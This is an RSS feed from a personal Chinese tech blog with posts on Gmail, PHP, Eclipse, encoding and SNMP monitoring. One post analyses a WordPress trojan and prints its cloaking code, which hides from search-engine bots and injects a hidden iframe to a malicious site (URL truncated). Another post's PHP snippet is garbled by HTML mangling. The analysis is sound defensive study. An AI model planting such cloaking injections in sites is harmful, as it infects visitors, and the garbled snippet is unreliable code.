<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>不可能不确定</title>
	<atom:link href="http://chensd.com/feed" rel="self" type="application/rss+xml" />
	<link>http://chensd.com</link>
	<description>忘带纸笔</description>
	<lastBuildDate>Sun, 15 Jan 2012 08:27:17 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>一次Gmail账号被封后解封的经历</title>
		<link>http://chensd.com/2012-01/enable-gmail-accounts-disabled-by-google.html</link>
		<comments>http://chensd.com/2012-01/enable-gmail-accounts-disabled-by-google.html#comments</comments>
		<pubDate>Sun, 15 Jan 2012 08:27:17 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[乱七八糟]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1543</guid>
		<description><![CDATA[计划将一些邮件从现有的Gmail导出，并存储到一个新的Gmail中，于是新申请了账号，但在使用Gmail自带的“导入其它邮箱的邮件和联系人”的功能时，发现Gmail不支持从其它Gmail导入。 为了达到目的，我先利用QQ邮箱的收信功能，将Gmail中的部分邮件先转存到QQ邮箱中，再用Gmail的导入功能进行导入，结果的确也成功了。 但在成功后大约半个小时，我发现我的新Gmail账号已经无法使用，通过Gmail的多账号登录进行切换，密码输入成功后直接跳到一个账号被禁用的提示页面，紧接着，Android手机上也提示输入这个新邮箱的密码，无论输入什么，都提示账号信息错误。 想来想去，Google禁用这个账号，有以下几个可能的原因： Google发现我从一另外一个Gmail里导入了邮件和联系人。这些导入的邮件中，包括Gmail自动发出的一些新注册用户欢迎信息； 违反Google+的实名政策。现在Gmail与Google+已经是深度结合，因为这个邮箱使用了非常明显的假名，不排除Google因为这个原因对账号进行了封禁，但好像最近Google放宽了Google+的实名限制； 多个Gmail账号及Google企业邮箱登录，当时一共登录了大约四到七个账号，包括几个Gmail及几个Google托管的企业邮箱，另外还不停的在香港、美国VPN之间切换，但被封禁的只有新申请的号码，因此可能性也不太大； 账号停用的页面中有一句提示： Terminate you account at any time, for any reason, with or without notice 原来，Google的协议里早就说清楚了，他们可以随意停用你的账号，连通知你的事儿都可以不管。 无奈之极，只好报着试一试的心情，在停用页面的“Next steps for disabled account”里有个联系Google，于是进行发了一个投诉，这也是第一次向Google投诉，我提交了如下的内容： I just multi login in to this account with other 3 gmail and 1 enterprise gmail, but Google disable my account, This account is very important for me, [...]]]></description>
			<content:encoded><![CDATA[<p>计划将一些邮件从现有的Gmail导出，并存储到一个新的Gmail中，于是新申请了账号，但在使用Gmail自带的“导入其它邮箱的邮件和联系人”的功能时，发现Gmail不支持从其它Gmail导入。</p>
<p>为了达到目的，我先利用QQ邮箱的收信功能，将Gmail中的部分邮件先转存到QQ邮箱中，再用Gmail的导入功能进行导入，结果的确也成功了。</p>
<p>但在成功后大约半个小时，我发现我的新Gmail账号已经无法使用，通过Gmail的多账号登录进行切换，密码输入成功后直接跳到一个账号被禁用的提示页面，紧接着，Android手机上也提示输入这个新邮箱的密码，无论输入什么，都提示账号信息错误。</p>
<p><a href="http://chensd.com/wp-content/upfile/2012/01/Gmail_disabled.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1546" title="Gmail Account Disabled By Google" src="http://chensd.com/wp-content/upfile/2012/01/Gmail_disabled.png" alt="" width="600" height="279" /></a></p>
<p><span id="more-1543"></span></p>
<p>想来想去，Google禁用这个账号，有以下几个可能的原因：</p>
<ul>
<li>Google发现我从一另外一个Gmail里导入了邮件和联系人。这些导入的邮件中，包括Gmail自动发出的一些新注册用户欢迎信息；</li>
<li>违反Google+的实名政策。现在Gmail与Google+已经是深度结合，因为这个邮箱使用了非常明显的假名，不排除Google因为这个原因对账号进行了封禁，但好像最近Google放宽了Google+的实名限制；</li>
<li>多个Gmail账号及Google企业邮箱登录，当时一共登录了大约四到七个账号，包括几个Gmail及几个Google托管的企业邮箱，另外还不停的在香港、美国VPN之间切换，但被封禁的只有新申请的号码，因此可能性也不太大；</li>
</ul>
<p>账号停用的页面中有一句提示：</p>
<blockquote><p>Terminate you account at any time, for any reason, <strong>with or without notice</strong></p></blockquote>
<p>原来，Google的协议里早就说清楚了，他们可以随意停用你的账号，连通知你的事儿都可以不管。</p>
<p>无奈之极，只好报着试一试的心情，在停用页面的“Next steps for disabled account”里有个联系Google，于是进行发了一个投诉，这也是第一次向Google投诉，我提交了如下的内容：</p>
<blockquote><p>I just multi login in to this account with other 3 gmail and 1 enterprise gmail, but Google disable my account, This account is very important for me, please help me to regain it, Thanks!</p></blockquote>
<p>提交完成后，给的提示中告诉我，他们可能给或不给我任何回复，所以基本不报希望。</p>
<p>不过出人意料的是，大约不到一个小时，Google使恢复了我的账号，并向这个邮箱里发送了一个投诉处理回复。总算是给恢复了账号。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2012-01/enable-gmail-accounts-disabled-by-google.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>在PHP CLI下使用类似GET的方法传参</title>
		<link>http://chensd.com/2011-11/php-cli-param-as-get-format.html</link>
		<comments>http://chensd.com/2011-11/php-cli-param-as-get-format.html#comments</comments>
		<pubDate>Tue, 29 Nov 2011 15:28:31 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[编程杂记]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1531</guid>
		<description><![CDATA[Linux下为了方便，有时候会直接使用命令行的方式来执行php程序，比如一些crontab任务之类，但通常写出来的大部分php程序，都没有考虑到命令行下的一些情况，直接使用GET进行参数传递也是常态，但这在命令行下却很无奈，尤其是传递多个GET参数时，连命令都无法正确执行——GET多参数分隔符&#38;会妨碍命令的执行。 1、PHP CLI的参数传递方式 PHP CLI下参数的传递是使用Linux命令行的方式进行，将参数值按照指定的先后顺序依次排列，一旦顺序错误，最终传送的结果也将错误，而且，如果程序要支持命令行参数，还需要专门的分析和拆开$argv数组，如果是修改现有程序，工作量将会更大。 2、捕获参数，组装伪$_GET和$_REQUEST数组 命令行下是没有$_GET等变量的，但如果使用GET进行参数传递，程序中肯定会有对诸如$_GET和$_REQUEST数组的调用。如果要降低修改的工作量，最简单的办法就是，抓获CLI传递的参数，再将参数组装成一个$_GET和$_REQUEST数组。 为了避开cli中对参数的先后顺序的要求，让命令执行使用更容易分辨更让人熟悉的URL参数传递方式，可以按如下的格式来传递参数并捕获： php filename.php &#34;name=Roges&#38;height=187.96&#38;weight=99.79&#34; 注意，命令行中使用&#38;符号时，必须要将其用引号括住，否则你会有意外的惊喜。 3、实现 想到了过程，实现起来就比较简单了，一个比较简单的实现如下： &#60;!--?php // if file was executed by php cli, cli paramertes will be convert to $_GET and $_REQUEST array. if(isset($argv) AND count($argv) --&#62;= 2) { // GET paramertes are always follow the page url with ? symtax, it show be removed. [...]]]></description>
			<content:encoded><![CDATA[<p>Linux下为了方便，有时候会直接使用命令行的方式来执行php程序，比如一些crontab任务之类，但通常写出来的大部分php程序，都没有考虑到命令行下的一些情况，直接使用GET进行参数传递也是常态，但这在命令行下却很无奈，尤其是传递多个GET参数时，连命令都无法正确执行——GET多参数分隔符&amp;会妨碍命令的执行。</p>
<h3>1、PHP CLI的参数传递方式</h3>
<p>PHP CLI下参数的传递是使用Linux命令行的方式进行，将参数值按照指定的先后顺序依次排列，一旦顺序错误，最终传送的结果也将错误，而且，如果程序要支持命令行参数，还需要专门的分析和拆开$argv数组，如果是修改现有程序，工作量将会更大。</p>
<h3>2、捕获参数，组装伪$_GET和$_REQUEST数组</h3>
<p>命令行下是没有$_GET等变量的，但如果使用GET进行参数传递，程序中肯定会有对诸如$_GET和$_REQUEST数组的调用。如果要降低修改的工作量，最简单的办法就是，抓获CLI传递的参数，再将参数组装成一个$_GET和$_REQUEST数组。<br />
为了避开cli中对参数的先后顺序的要求，让命令执行使用更容易分辨更让人熟悉的URL参数传递方式，可以按如下的格式来传递参数并捕获：</p>
<pre class="brush: bash; title: ;">
php filename.php &quot;name=Roges&amp;height=187.96&amp;weight=99.79&quot;
</pre>
<p><span id="more-1531"></span></p>
<p>注意，命令行中使用&amp;符号时，必须要将其用引号括住，否则你会有意外的惊喜。</p>
<h3>3、实现</h3>
<p>想到了过程，实现起来就比较简单了，一个比较简单的实现如下：</p>
<pre class="brush: php; title: ;">
&lt;!--?php
    // if file was executed by php cli, cli paramertes will be convert to $_GET and $_REQUEST array.
    if(isset($argv) AND count($argv) --&gt;= 2) {
        // GET paramertes are always follow the page url with ? symtax, it show be removed.
        $argv[1] = str_replace(&quot;?&quot;, '', $argv[1]);

        $params = explode('&amp;', $argv[1]);

        $_REQUEST = array();
        foreach($params as $p) {
            //get the location of the '='
            $eq_loc = strpos($p, '=');

            $_REQUEST[substr($p, 0, $eq_loc)] = substr($p, $eq_loc + 1, strlen($p) - $eq_loc);
        }

        $_GET = $_REQUEST;
    }

?&gt;
</pre>
<p>将这个代码存储为文件，再在需要使用的文件头部进行引用即可。当在命令行下执行脚本时，使会进行转换，否则是不会进行任何操作的。</p>
<h3>4、执行效果</h3>
<p>将上面的代码保存然后在最后加上如下的两句，便可查看参数传递的效果：</p>
<pre class="brush: php; title: ;">
    echo '$_REQUEST: ';
    print_r($_REQUEST);
    echo '$_GET: ';
    print_r($_GET);
</pre>
<p>将文件命令为cli_get.php，在命令行中执行，结果如下：</p>
<pre class="brush: bash; title: ;">
Roges@US:~/www$ php cli_get.php  &quot;name=Roges&amp;height=187.96&amp;weight=99.79&quot;
$_REQUEST: Array
(
    [name] =&gt; Roges
    [height] =&gt; 187.96
    [weight] =&gt; 99.79
)
$_GET: Array
(
    [name] =&gt; Roges
    [height] =&gt; 187.96
    [weight] =&gt; 99.79
)
</pre>
<p>手机选来选去，还是黑莓靠谱，大屏幕目前只是玩具而已。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-11/php-cli-param-as-get-format.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ubuntu 11.10中 Eclipse 3.7.1 安装ADT提示缺少org.eclipse.wst.sse.core</title>
		<link>http://chensd.com/2011-10/eclipse_3-7-1_on_ubuntu_11-10_adt_install_need_wst-sse-2.html</link>
		<comments>http://chensd.com/2011-10/eclipse_3-7-1_on_ubuntu_11-10_adt_install_need_wst-sse-2.html#comments</comments>
		<pubDate>Tue, 04 Oct 2011 03:06:37 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[随手记]]></category>
		<category><![CDATA[Android]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1522</guid>
		<description><![CDATA[前段时间新装了Ubuntu 11.10 beta2，又使用Ubuntu Software Center下载了eclipse，版本是3.7.1，今天试着配置一下ADT，第一步就卡住了。 安装时无法进行下一步，详细信息中提示： Cannot complete the install because one or more required items could not be found. Software being installed: Android Development Tools 12.0.0.v201106281929-138431 (com.android.ide.eclipse.adt.feature.group 12.0.0.v201106281929-138431) Missing requirement: Android Development Tools 12.0.0.v201106281929-138431 (com.android.ide.eclipse.adt.feature.group 12.0.0.v201106281929-138431) requires &#8216;org.eclipse.wst.sse.core 0.0.0&#8242; but it could not be found 网上搜索，StackOverFlow有人给出了详细答案，3.4 / 3.5 / 3.6均可解决，只需要添加org.eclipse.wst.sse.core的依赖库即可。按照3.4等的升级url构造了一下3.7的如下： http://download.eclipse.org/releases/ganymede/ 点击Install New Software中的Add按钮，将这个添加到依赖库中，再安装ADT即可顺利进行。]]></description>
			<content:encoded><![CDATA[<p>前段时间新装了Ubuntu 11.10 beta2，又使用Ubuntu Software Center下载了eclipse，版本是3.7.1，今天试着配置一下ADT，第一步就卡住了。 安装时无法进行下一步，详细信息中提示：</p>
<blockquote><p>Cannot complete the install because one or more required items could not be found. Software being installed: Android Development Tools 12.0.0.v201106281929-138431 (com.android.ide.eclipse.adt.feature.group 12.0.0.v201106281929-138431) Missing requirement: Android Development Tools 12.0.0.v201106281929-138431 (com.android.ide.eclipse.adt.feature.group 12.0.0.v201106281929-138431) requires &#8216;org.eclipse.wst.sse.core 0.0.0&#8242; but it could not be found</p></blockquote>
<p>网上搜索，<a title="org.eclipse.wst.sse.core 0.0.0' but it could not be found" href="http://stackoverflow.com/questions/4249695/org-eclipse-wst-sse-core-0-0-0-but-it-could-not-be-found" target="_blank">StackOverFlow</a>有人给出了详细答案，3.4 / 3.5 / 3.6均可解决，只需要添加org.eclipse.wst.sse.core的依赖库即可。按照3.4等的升级url构造了一下3.7的如下：</p>
<blockquote><p>http://download.eclipse.org/releases/ganymede/</p></blockquote>
<p>点击Install New Software中的Add按钮，将这个添加到依赖库中，再安装ADT即可顺利进行。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-10/eclipse_3-7-1_on_ubuntu_11-10_adt_install_need_wst-sse-2.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>一个 WordPress 木马样本分析</title>
		<link>http://chensd.com/2011-09/a-wordpress-trojan-analyst.html</link>
		<comments>http://chensd.com/2011-09/a-wordpress-trojan-analyst.html#comments</comments>
		<pubDate>Sun, 18 Sep 2011 03:41:08 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[建站相关]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1507</guid>
		<description><![CDATA[在饭否看到zuola说得到一个wordpress木马脚本，于是就点了连接，并简单的看了看这个样本。原理比较简单，先判断访问来源是否是搜索引擎的蜘蛛或bot，再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用到其它任何PHP程序中。 将源代码做了个简单的整理如下： error_reporting(0); $bot = FALSE ; $user_agent_to_filter = array('bot','spider','spyder'... ...'mybloglog api'); $stop_ips_masks = array( array(&#34;216.239.32.0&#34;,&#34;216.239.63.255&#34;), array(&#34;64.68.80.0&#34; ,&#34;64.68.87.255&#34; ), ... ... ... ... ... ... array(&#34;72.30.0.0&#34;,&#34;72.30.255.255&#34;), array(&#34;38.0.0.0&#34;,&#34;38.255.255.255&#34;) ); $my_ip2long = sprintf(&#34;%u&#34;,ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf(&#34;%u&#34;,ip2long($IPs[0])); $second_d=sprintf(&#34;%u&#34;,ip2long($IPs[1])); if ($my_ip2long &#62;= $first_d &#38;&#38; $my_ip2long &#60;= $second_d) { $bot = TRUE; break; } } [...]]]></description>
			<content:encoded><![CDATA[<p>在<a title="佐拉 fanfou" href="http://fanfou.com/statuses/JreFlCzZgyM" target="_blank">饭否看到zuola说</a>得到一个<a title="Zuola: wordpress木马样本" href="http://zuola.diandian.com/post/0a3f9170-e1a0-11e0-928b-782bcb3825eb" target="_blank">wordpress木马脚本</a>，于是就点了<a title="Zuola Diandian" href="http://zuola.diandian.com/post/0a3f9170-e1a0-11e0-928b-782bcb3825eb" target="_blank">连接</a>，并简单的看了看这个样本。原理比较简单，先判断访问来源是否是搜索引擎的蜘蛛或bot，再确定是否显示一个有问题iframe——木马的效力也取决于这个iframe中的内容。这一小段PHP脚本也完全可以用到其它任何PHP程序中。</p>
<p>将源代码做了个简单的整理如下：<span id="more-1507"></span></p>
<pre class="brush: php; title: ;">
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder'... ...'mybloglog api');
$stop_ips_masks = array(
array(&quot;216.239.32.0&quot;,&quot;216.239.63.255&quot;),
array(&quot;64.68.80.0&quot;  ,&quot;64.68.87.255&quot;  ),
... ... ...
... ... ...
array(&quot;72.30.0.0&quot;,&quot;72.30.255.255&quot;),
array(&quot;38.0.0.0&quot;,&quot;38.255.255.255&quot;)
);

$my_ip2long = sprintf(&quot;%u&quot;,ip2long($_SERVER['REMOTE_ADDR']));

foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf(&quot;%u&quot;,ip2long($IPs[0]));
    $second_d=sprintf(&quot;%u&quot;,ip2long($IPs[1]));
    if ($my_ip2long &gt;= $first_d &amp;&amp; $my_ip2long &lt;= $second_d) {
        $bot = TRUE;
        break;
    }
}

foreach ($user_agent_to_filter as $bot_sign){
    if(strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){
        $bot = true;
        break;
    }
}

if (!$bot) {
    echo '&lt;iframe src=&quot;http://whsej........o=1&quot; width=&quot;3&quot; height=&quot;3&quot;&gt;&lt;/iframe&gt;'
}
</pre>
<h3>1、环境配置与变量声明</h3>
<p>error_reporting(0)是为了保证在任何情况下都不报错。</p>
<p>$bot是声音了一个flag，默认值为false，从后面的情况来看，这个是用来表明当前访问者是否是真正的浏览用户。</p>
<p>$user_agent_to_filter和$stop_ips_masks，前者是一维数据，存储了一大堆需要排除的浏览器user_agent，后者是个二维数据，存储了若干个ip段，<a title="$stop_ips_masks中的ip段" href="http://www.ipchecking.com/?ip=209.85.128.0&amp;check=Lookup" target="_blank">这些ip段</a>经查询，大都是搜索引擎的。</p>
<h3>2、访问者ip的判断</h3>
<p>接下来，是通过ip地址和浏览器user agent来进行用户是否是普通浏览器的判断。</p>
<pre class="brush: php; title: ;">
$my_ip2long = sprintf(&quot;%u&quot;,ip2long($_SERVER['REMOTE_ADDR']));

foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf(&quot;%u&quot;,ip2long($IPs[0]));
    $second_d=sprintf(&quot;%u&quot;,ip2long($IPs[1]));
    if ($my_ip2long &gt;= $first_d &amp;&amp; $my_ip2long &lt;= $second_d) {
        $bot = TRUE;
        break;
    }
}</pre>
<p><a title="ip2long：将ip地址转换为int" href="http://php.net/manual/en/function.ip2long.php" target="_blank">ip2long</a>这个函数可以将ip地址转换成一个整数，<a title="PHP: sprinf" href="http://php.net/manual/en/function.sprintf.php" target="_blank">sprintf</a>(&#8216;%u&#8217;, xxx)将这个int转换成无符号数。</p>
<p>foreach在$stop_ips_masks中进行循环，取二维数据中的每一个数组，$frist_d和$second_d分别存储ip段起点ip和止点ip的无符号整数值，再用接下来的if进行判断，当前访问者ip是否在$stop_ips_masks所指定的范围内，若是，则将$bot量置为true。</p>
<h3>3、访问者user agent的判断</h3>
<pre class="brush: php; title: ;">
foreach ($user_agent_to_filter as $bot_sign){
    if(strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){
        $bot = true;
        break;
    }
}</pre>
<p>这一部分的判断与ip判断类似，从$user_agent_to_filter中读取每一个值，再与浏览者的user agent进行对比，如果发现是机器人或者蜘蛛，则将$bot置为true。</p>
<h3>4、放置iframe</h3>
<p>if(!$bot)控制当访问者是普通浏览器时，即放置这个iframe，iframe的scr是无耻者放置乱七八糟内容的网页——chrome已经将它block了。</p>
<h3>5、结论</h3>
<p>这个脚本可以用在任何php写成的网站中。而且，这段代码其实可以隐藏得更好，而不是这样连裤衩都不穿的裸奔。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-09/a-wordpress-trojan-analyst.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP源码编码与转换：搞定首行为空和“锘匡豢”</title>
		<link>http://chensd.com/2011-09/php-source-convert-gbk-big5-to-utf8.html</link>
		<comments>http://chensd.com/2011-09/php-source-convert-gbk-big5-to-utf8.html#comments</comments>
		<pubDate>Thu, 08 Sep 2011 10:54:33 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[编程杂记]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1500</guid>
		<description><![CDATA[总是有七弯八拐的原因让我们要将自己的PHP源码从GB2312转换到UTF8，而90%的情况下你会遇到麻烦——很有可能你已经不是第一个想将你手头的系统转换到UTF8的人，只不过前面那些人都被整郁闷了，因而你也有了这个机会。 1、编码转到UTF-8可能出现的问题 转换起来并不麻烦，而且网上有很多工具可以用于转换，但不推荐使用工具进行批量转换，编码转换时的不确定因素太多，比如原编码，甚至系统语言等，都会引起转换的失败。 PHP源码直接转换到UTF-8后，很有可能会遇到下面的两个问题： 1、首行代码为空； 2、顶行有多个“锘匡豢”； 当然，很多人已经解决了，还发了博文——不过这文章是让你郁闷的。这位用了两天时间终于解决了问题，但却舍不得与人分享一下。当然也有很靠谱的人，提供了使用VS进行解决的方法，不过搞PHP开发的还装VS的可能不多。 导致出现以上问题的原因，可以看一下维基BOM词条，解决的方法也很简单，转换成UTF8后，将BOM的问题解决即可。很多人使用UltraEdit32，这也是个方法。不过还有更方便的选择，使用Notepad++会更简单，更安全。 2、使用Notepad++进行转换的方法 使用Notepad++，打开所有需要转换的文件，然后战壕菜单“Encoding（编码）”→“Convert to UTF-8 without BOM（转换为UTF-8无BOM编码格式）”，再保存文件，即可完成无恙转换。 顺便提一下，Notepad++的确是一个非常优秀的编辑器，完全可以作为你Win下的主力代码工具——它已经是win下我唯一用的代码工具了。 3、转换中需要注意的问题 转换很简单，但还需要注意以下几个方面的问题： 1、HTML中HEAD部分中对编码的指定，一般可能设置了charset，将值改成UTF8即可； 2、apache等web服务器中的默认编码设置，CentOS中的apache在httpd.con里修改，搜索“AddDefaultCharset”，将后面的值改为UTF-8； 3、CSS文件编码的修改； 淘宝也是用的gbk，转换起来一定又是一个折腾人的过程。 抱歉：上文中所提到的那篇“让人郁闷的文意”的博主tunpishuang，并非我小人之心所揣测的“舍不得与人分享”的人，他早已将解决的整个过程分享出来。在此，为我自己的武断之为而向您致以深深的歉意！]]></description>
			<content:encoded><![CDATA[<p>总是有七弯八拐的原因让我们要将自己的PHP源码从GB2312转换到UTF8，而90%的情况下你会遇到麻烦——很有可能你已经不是第一个想将你手头的系统转换到UTF8的人，只不过前面那些人都被整郁闷了，因而你也有了这个机会。</p>
<h3>1、编码转到UTF-8可能出现的问题</h3>
<p>转换起来并不麻烦，而且网上有很多工具可以用于转换，但<strong>不推荐使用工具进行批量转换</strong>，编码转换时的不确定因素太多，比如原编码，甚至系统语言等，都会引起转换的失败。</p>
<p>PHP源码直接转换到UTF-8后，很有可能会遇到下面的两个问题：</p>
<ul>
<li>1、首行代码为空；</li>
<li>2、顶行有多个“锘匡豢”；</li>
</ul>
<p>当然，很多人已经解决了，还发了<a title="2天的“锘匡豢”问题，终于有了答案！！！" href="http://tunps.com/1286216026">博文——不过这文章是让你郁闷的</a>。这位用了两天时间终于解决了问题，但却舍不得与人分享一下。当然也有<a title="UTF-8 下 php include 注意空行问题" href="http://blog.csdn.net/zjwtnt/article/details/1927638">很靠谱的人</a>，提供了使用VS进行解决的方法，不过搞PHP开发的还装VS的可能不多。<span id="more-1500"></span></p>
<p>导致出现以上问题的原因，可以看一下维基<a title="维基百科：BOM" href="http://zh.wikipedia.org/zh-cn/%E4%BD%8D%E5%85%83%E7%B5%84%E9%A0%86%E5%BA%8F%E8%A8%98%E8%99%9F">BOM词条</a>，解决的方法也很简单，转换成UTF8后，将BOM的问题解决即可。很多人使用UltraEdit32，这也是个方法。不过还有更方便的选择，使用Notepad++会<strong>更简单，更安全</strong>。</p>
<h3>2、使用Notepad++进行转换的方法</h3>
<p>使用Notepad++，打开所有需要转换的文件，然后战壕菜单“Encoding（编码）”→“Convert to UTF-8 without BOM（转换为UTF-8无BOM编码格式）”，再保存文件，即可完成无恙转换。</p>
<p>顺便提一下，Notepad++的确是一个非常优秀的编辑器，完全可以作为你Win下的主力代码工具——它已经是win下我唯一用的代码工具了。</p>
<h3>3、转换中需要注意的问题</h3>
<p>转换很简单，但还需要注意以下几个方面的问题：</p>
<ul>
<li>1、HTML中HEAD部分中对编码的指定，一般可能设置了charset，将值改成UTF8即可；</li>
<li>2、apache等web服务器中的默认编码设置，CentOS中的apache在httpd.con里修改，搜索“AddDefaultCharset”，将后面的值改为UTF-8；</li>
<li>3、CSS文件编码的修改；</li>
</ul>
<p><a title="前端工程师的编码遭遇战" href="http://ued.taobao.com/blog/2011/08/26/encode-war/">淘宝也是用的gbk，转换起来</a>一定又是一个折腾人的过程。</p>
<hr />
<p><span style="color: red;">抱歉</span>：上文中所提到的那篇“<a title="2天的“锘匡豢”问题，终于有了答案！！！" href="http://tunps.com/1286216026" target="_blank">让人郁闷的文意</a>”的博主<a title="TechGuru" href="http://tunps.com/" target="_blank">tunpishuang</a>，并非我小人之心所揣测的“舍不得与人分享”的人，他早已将<a title="link标签和script标签跑到body下面，网页顶部有空白，出现“锘匡豢”乱码，UTF-8 BOM，EF BB BF" href="http://tunps.com/link-and-script-goes-under-body-tag" target="_blank">解决的整个过程</a>分享出来。在此，为我自己的武断之为而向您致以深深的歉意！</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-09/php-source-convert-gbk-big5-to-utf8.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>利用PHP实现对服务器性能与状态的监控</title>
		<link>http://chensd.com/2011-08/server_mysql_status_moniter_by_php.html</link>
		<comments>http://chensd.com/2011-08/server_mysql_status_moniter_by_php.html#comments</comments>
		<pubDate>Wed, 31 Aug 2011 15:34:10 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[编程杂记]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1484</guid>
		<description><![CDATA[最近由于工作上的原因，需要开发一套服务器性能的监控工具，主要是一些同架构同软件配置的服务器。考虑到最近用php比较多，随即决定使用php来实现。主要需要实现的部分功能如下： 1、系统状态，如cpu / 内存 / swap等数据； 2、MySQL的性能与运行状态； 其它主要是配合性的数据存储以及可视化。 1、使用SNMP实现对系统状态的抓取 SNMP的确是一个很方便的协议，用它可以获取网络设备几乎所有的信息，Linux和Win都可以很好的支持。MIB是一个纷杂的数据库，通过筛选可以获取我们所需要的信息。 PHP5对snmp协议v2有较好的支持。为了方便，可以获取一大组数据，将其存储到一个数组中，再从数组中挑选需要的数据。snmp2_real_walk便可以满足这个需求。它的用法如下： $status = @snmp2_real_walk($host, $community, &#34;.1.3.6.1.4.1.2021&#34;,10,5); $host是目标主机 $community是其相应的SNMP community code “1.3.6.1.4.1.2021”是我们要获取的数据树 10是超时时间（秒） 5是失败后的重试次数 为了防止出错后报错，使用@强行关闭报错。 获取的结果存储在$status里，之后便可以从$status中定位我们所需要的数据了。MIB可能是用数字组织的，也有可能是一堆名字，具体可以在这里进行查询。需要注意，获取的结果中，值和结果是混合在一起的，需要对字符串进行一定的截取。下面是几个比较常用的值： $host_status['uptime_1min'] = (float)@substr($status['UCD-SNMP-MIB::laLoad.1'], 9); $host_status['uptime_5min'] = (float)@substr($status['UCD-SNMP-MIB::laLoad.2'], 9); $host_status['uptime_15min'] = (float)@substr($status['UCD-SNMP-MIB::laLoad.3'], 9); $host_status['user_cpu'] = (int)@substr($status['UCD-SNMP-MIB::ssCpuUser.0'], 9); $host_status['system_cpu'] = (int)@substr($status['UCD-SNMP-MIB::ssCpuSystem.0'], 9); $host_status['idle_cpu'] = (int)@substr($status['UCD-SNMP-MIB::ssCpuIdle.0'], 9); $host_status['total_swap'] = (int)@substr($status['UCD-SNMP-MIB::memTotalSwap.0'], 9); $host_status['available_swap'] = [...]]]></description>
			<content:encoded><![CDATA[<p>最近由于工作上的原因，需要开发一套服务器性能的监控工具，主要是一些同架构同软件配置的服务器。考虑到最近用php比较多，随即决定使用php来实现。主要需要实现的部分功能如下：</p>
<ul>
<li>1、系统状态，如cpu / 内存 / swap等数据；</li>
<li>2、MySQL的性能与运行状态；</li>
</ul>
<p>其它主要是配合性的数据存储以及可视化。<span id="more-1484"></span></p>
<h3>1、使用SNMP实现对系统状态的抓取</h3>
<p>SNMP的确是一个很方便的协议，用它可以获取网络设备几乎所有的信息，Linux和Win都可以很好的支持。MIB是一个纷杂的数据库，通过筛选可以获取我们所需要的信息。</p>
<p>PHP5对snmp协议v2有较好的支持。为了方便，可以获取一大组数据，将其存储到一个数组中，再从数组中挑选需要的数据。snmp2_real_walk便可以满足这个需求。它的用法如下：</p>
<pre class="brush: php; title: ;">
$status = @snmp2_real_walk($host, $community, &quot;.1.3.6.1.4.1.2021&quot;,10,5);
</pre>
<ul>
<li>$host是目标主机</li>
<li>$community是其相应的SNMP community code</li>
<li>“1.3.6.1.4.1.2021”是我们要获取的数据树</li>
<li>10是超时时间（秒）</li>
<li>5是失败后的重试次数</li>
</ul>
<p>为了防止出错后报错，使用@强行关闭报错。</p>
<p>获取的结果存储在$status里，之后便可以从$status中定位我们所需要的数据了。MIB可能是用数字组织的，也有可能是一堆名字，具体可以在<a href="http://net-snmp.sourceforge.net/docs/mibs/ucdavis.html">这里</a>进行查询。需要注意，获取的结果中，值和结果是混合在一起的，需要对字符串进行一定的截取。下面是几个比较常用的值：</p>
<pre class="brush: php; title: ;">
            $host_status['uptime_1min']         = (float)@substr($status['UCD-SNMP-MIB::laLoad.1'], 9);
            $host_status['uptime_5min']         = (float)@substr($status['UCD-SNMP-MIB::laLoad.2'], 9);
            $host_status['uptime_15min']        = (float)@substr($status['UCD-SNMP-MIB::laLoad.3'], 9);
